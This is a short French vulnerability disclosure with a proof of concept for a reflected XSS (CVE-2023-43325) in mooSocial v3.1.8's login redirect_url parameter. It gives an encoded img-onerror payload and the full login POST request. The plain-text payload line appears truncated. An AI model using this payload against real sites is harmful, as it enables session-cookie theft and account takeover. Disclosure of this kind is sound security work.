mooSocial : XSS (CVE-2023-43325)

Une vulnérabilité de cross-site scripting (XSS) réfléchi existe dans le paramètre data[redirect_url] de la fonction de connexion utilisateur de mooSocial v3.1.8, qui permet à des attaquants de voler les cookies de session des utilisateurs et d'usurper leur compte via une URL conçue à cet effet.

Paramètre vulnérable : data[redirect_url]

Exploit - Preuve de concept (POC)

Cross-site scripting (XSS) réfléchi

Payload : test">test 
Payload (Base64 encoded) : dGVzdCI+PGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPnRlc3Q=
Final Payload (Base64+Url encoded): dGVzdCI%2bPGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPnRlc3Q%3d%3d

Requête POST sur /moosocial/users/login (DONNÉES DE REQUÊTE POST UNIQUEMENT) :

[_method=POST&data%5Bredirect_url%5D=dGVzdCI%2bPGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPnRlc3Q%3d%3d&data%5BUser%5D%5Bid%5D=&data%5BUser%5D%5Bemail%5D=admin%40localhost.com&data%5BUser%5D%5Bpassword%5D=pas[redacted]&data%5Bremember%5D=0]

Capture d'écran